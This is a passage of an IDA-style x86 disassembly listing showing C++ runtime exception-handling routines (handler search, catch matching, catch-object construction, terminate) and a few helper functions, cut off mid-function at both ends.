		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		mov	esi, dword_46950C
		test	esi, esi
		jz	loc_41A565
		mov	eax, dword_469510
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41DF66
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A469
		call	sub_41ABF2


loc_41A469:				; CODE XREF: sub_41A3EE+74j
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		call	sub_41ABF2


loc_41A487:				; CODE XREF: sub_41A3EE+41j
					; sub_41A3EE+46j ...
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41A56A
		cmp	[esi+14h], edi
		jnz	loc_41A56A
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	ebx, eax


loc_41A4BE:				; CODE XREF: sub_41A3EE+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41A555
		cmp	[ebx], edi
		jg	short loc_41A54A
		cmp	edi, [ebx+4]
		jg	short loc_41A54A
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41A547


loc_41A4E3:				; CODE XREF: sub_41A3EE+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41A514


loc_41A4F5:				; CODE XREF: sub_41A3EE+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41A63D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A523
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41A4F5


loc_41A514:				; CODE XREF: sub_41A3EE+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41A4E3
		jmp	short loc_41A547
; ---------------------------------------------------------------------------


loc_41A523:				; CODE XREF: sub_41A3EE+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A74E
		add	esp, 2Ch


loc_41A547:				; CODE XREF: sub_41A3EE+F3j
					; sub_41A3EE+133j
		mov	edi, [ebp+var_10]


loc_41A54A:				; CODE XREF: sub_41A3EE+DEj
					; sub_41A3EE+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41A4BE
; ---------------------------------------------------------------------------


loc_41A555:				; CODE XREF: sub_41A3EE+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A565
		push	1
		push	esi
		call	sub_41AAC3
		pop	ecx
		pop	ecx


loc_41A565:				; CODE XREF: sub_41A3EE+56j
					; sub_41A3EE+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A56A:				; CODE XREF: sub_41A3EE+37j
					; sub_41A3EE+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A590
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A595
		add	esp, 20h
		jmp	short loc_41A565
; ---------------------------------------------------------------------------


loc_41A590:				; CODE XREF: sub_41A3EE+180j
		jmp	sub_41AB9C
sub_41A3EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A595	proc near		; CODE XREF: sub_41A3EE+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_469514, 0
		push	esi
		push	edi
		jz	short loc_41A5C6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161C2
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A639


loc_41A5C6:				; CODE XREF: sub_41A595+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	esi, eax


loc_41A5E2:				; CODE XREF: sub_41A595+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A639
		cmp	edi, [esi]
		jl	short loc_41A631
		cmp	edi, [esi+4]
		jg	short loc_41A631
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A60B
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A631


loc_41A60B:				; CODE XREF: sub_41A595+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A74E
		add	esp, 2Ch


loc_41A631:				; CODE XREF: sub_41A595+57j
					; sub_41A595+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41A5E2
; ---------------------------------------------------------------------------


loc_41A639:				; CODE XREF: sub_41A595+2Fj
					; sub_41A595+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41A595	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A63D	proc near		; CODE XREF: sub_41A3EE+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41A694
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41A694
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41A66E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A690


loc_41A66E:				; CODE XREF: sub_41A63D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41A678
		test	byte ptr [edi],	8
		jz	short loc_41A690


loc_41A678:				; CODE XREF: sub_41A63D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A687
		test	byte ptr [edi],	1
		jz	short loc_41A690


loc_41A687:				; CODE XREF: sub_41A63D+43j
		test	al, 2
		jz	short loc_41A694
		test	byte ptr [edi],	2
		jnz	short loc_41A694


loc_41A690:				; CODE XREF: sub_41A63D+2Fj
					; sub_41A63D+39j ...
		xor	eax, eax
		jmp	short loc_41A697
; ---------------------------------------------------------------------------


loc_41A694:				; CODE XREF: sub_41A63D+Bj
					; sub_41A63D+14j ...
		push	1
		pop	eax


loc_41A697:				; CODE XREF: sub_41A63D+55j
		pop	edi
		pop	esi
		retn
sub_41A63D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A69A	proc near		; CODE XREF: sub_41A353+34p
					; sub_41A74E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4217F8
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41A6CC:				; CODE XREF: sub_41A69A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A726
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A6DB
		cmp	esi, [edi+4]
		jl	short loc_41A6E0


loc_41A6DB:				; CODE XREF: sub_41A69A+3Aj
		call	sub_41ABF2


loc_41A6E0:				; CODE XREF: sub_41A69A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41A6FB
		push	103h
		push	ebx
		push	eax
		call	sub_41AB50


loc_41A6FB:				; CODE XREF: sub_41A69A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A71B
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41A738
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41A71B:				; CODE XREF: sub_41A69A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41A6CC
; ---------------------------------------------------------------------------


loc_41A726:				; CODE XREF: sub_41A69A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A69A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A738	proc near		; CODE XREF: sub_41A69A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A749
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A749:				; CODE XREF: sub_41A738+Cj
		jmp	sub_41AB9C
sub_41A738	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A74E	proc near		; CODE XREF: sub_41A3EE+151p
					; sub_41A595+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41A770
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8FF
		add	esp, 10h


loc_41A770:				; CODE XREF: sub_41A74E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41A77C
		push	edi
		jmp	short loc_41A77F
; ---------------------------------------------------------------------------


loc_41A77C:				; CODE XREF: sub_41A74E+29j
		push	[ebp+arg_24]


loc_41A77F:				; CODE XREF: sub_41A74E+2Cj
		call	sub_4160C4
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41A69A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A7C9
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41A7C4
		push	edi
		push	eax
		call	sub_416082


loc_41A7C4:				; CODE XREF: sub_41A74E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A74E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7C9	proc near		; CODE XREF: sub_41A74E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421808
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_46950C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_469510
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_46950C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_469510, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_416149
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41A88F
		mov	eax, [ebp+var_2C]


loc_41A856:				; CODE XREF: sub_41A86F+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A7C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A865	proc near		; DATA XREF: .nsp0:00421818o
		push	dword ptr [ebp-14h]
		call	sub_41A8D5
		pop	ecx
		retn
sub_41A865	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A86F	proc near		; DATA XREF: .nsp0:0042181Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4163AA
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41A856
sub_41A86F	endp

; ---------------------------------------------------------------------------


loc_41A887:				; DATA XREF: .nsp0:00421810o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41A88F	proc near		; CODE XREF: sub_41A7C9+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_46950C, eax
		mov	eax, [ebp-20h]
		mov	dword_469510, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41A8D4
		cmp	[ebp-24h], ebx
		jnz	short locret_41A8D4
		cmp	[ebp-2Ch], ebx
		jz	short locret_41A8D4
		call	sub_416412
		push	eax
		push	edi
		call	sub_41AAC3
		pop	ecx
		pop	ecx

locret_41A8D4:				; CODE XREF: sub_41A88F+1Cj
					; sub_41A88F+22j ...
		retn
sub_41A88F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8D5	proc near		; CODE XREF: sub_41A865+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A8FC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A8FC:				; CODE XREF: sub_41A8D5+Cj
					; sub_41A8D5+12j ...
		xor	eax, eax
		retn
sub_41A8D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8FF	proc near		; CODE XREF: sub_41A74E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421820
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41AAA8
		cmp	byte ptr [eax+8], 0
		jz	loc_41AAA8
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41AAA8
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41A99C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41A98D:				; CODE XREF: sub_41A8FF+F5j
		push	eax
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41AAA4
; ---------------------------------------------------------------------------


loc_41A99C:				; CODE XREF: sub_41A8FF+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41A9F6
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416490
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41AAA4
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41AAA4
		add	esi, 8
		push	esi
		jmp	short loc_41A98D
; ---------------------------------------------------------------------------


loc_41A9F6:				; CODE XREF: sub_41A8FF+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41AA3E
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416490
		add	esp, 0Ch
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------


loc_41AA3E:				; CODE XREF: sub_41A8FF+103j
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+18h]
		call	sub_41DF9E
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		test	byte ptr [esi],	4
		jz	short loc_41AA85
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160BD
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------


loc_41AA85:				; CODE XREF: sub_41A8FF+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160B6
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------


loc_41AA9F:				; CODE XREF: sub_41A8FF+6Aj
					; sub_41A8FF+7Cj ...
		call	sub_41ABF2


loc_41AAA4:				; CODE XREF: sub_41A8FF+98j
					; sub_41A8FF+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AAA8:				; CODE XREF: sub_41A8FF+2Ej
					; sub_41A8FF+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A8FF	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAC3	proc near		; CODE XREF: sub_41A3EE+170p
					; sub_41A88F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421830
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41AB0A
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41AB0A
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4160B6
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AB0A:				; CODE XREF: sub_41AAC3+2Aj
					; sub_41AAC3+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAC3	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================



sub_41AB2A	proc near		; CODE XREF: sub_41A8FF+8Fp
					; sub_41A8FF+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41AB4B
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41AB4B:				; CODE XREF: sub_41AB2A+12j
		pop	esi
		retn
sub_41AB2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB50	proc near		; CODE XREF: sub_416149+40p
					; sub_41A69A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416435
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41AB8F
		mov	ecx, 2


loc_41AB8F:				; CODE XREF: sub_41AB50+38j
		push	ecx
		call	sub_416435
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41AB50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB9C	proc near		; CODE XREF: sub_41A3EE:loc_41A590j
					; sub_41A738:loc_41A749j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421840
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_469518
		test	eax, eax
		jz	short loc_41ABE4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41ABE0
; ---------------------------------------------------------------------------


loc_41ABD9:				; DATA XREF: .nsp0:00421850o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41ABDD:				; DATA XREF: .nsp0:00421854o
		mov	esp, [ebp+var_18]


loc_41ABE0:				; CODE XREF: sub_41AB9C+3Bj
		and	[ebp+var_4], 0


loc_41ABE4:				; CODE XREF: sub_41AB9C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41ABED:				; DATA XREF: .nsp0:00421848o
		jmp	loc_41DFB6
sub_41AB9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABF2	proc near		; CODE XREF: sub_4162EB+23p
					; sub_4162EB:loc_416356p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421858
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_4380D4
		test	eax, eax
		jz	short loc_41AC3A
		mov	[ebp+var_4], 1
		call	eax ; sub_41AB9C
		jmp	short loc_41AC36
; ---------------------------------------------------------------------------


loc_41AC2F:				; DATA XREF: .nsp0:00421868o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AC33:				; DATA XREF: .nsp0:0042186Co
		mov	esp, [ebp+var_18]


loc_41AC36:				; CODE XREF: sub_41ABF2+3Bj
		and	[ebp+var_4], 0


loc_41AC3A:				; CODE XREF: sub_41ABF2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41AC43:				; DATA XREF: .nsp0:00421860o
		jmp	sub_41AB9C
sub_41ABF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC48	proc near		; CODE XREF: sub_4167D3+7p
					; sub_4167D3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418AFD
		test	eax, eax
		pop	ecx
		jz	short loc_41AC60
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_41AC60:				; CODE XREF: sub_41AC48+Ej
		push	esi
		push	0
		push	dword_46AB00
		call	dword_421188	; RtlSizeHeap
		pop	esi
		retn
sub_41AC48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC71	proc near		; CODE XREF: sub_416881+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_469528, 0
		push	ebx
		jnz	short loc_41AC9C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41AD3A
		cmp	eax, 7Ah
		jg	loc_41AD3A
		sub	eax, 20h
		jmp	loc_41AD3A
; ---------------------------------------------------------------------------


loc_41AC9C:				; CODE XREF: sub_41AC71+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41ACCF
		cmp	dword_437F7C, 1
		jle	short loc_41ACBC
		push	2
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41ACC7
; ---------------------------------------------------------------------------


loc_41ACBC:				; CODE XREF: sub_41AC71+3Dj
		mov	eax, off_437D70
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41ACC7:				; CODE XREF: sub_41AC71+49j
		test	eax, eax
		jnz	short loc_41ACCF


loc_41ACCB:				; CODE XREF: sub_41AC71+AFj
		mov	eax, ebx
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------


loc_41ACCF:				; CODE XREF: sub_41AC71+34j
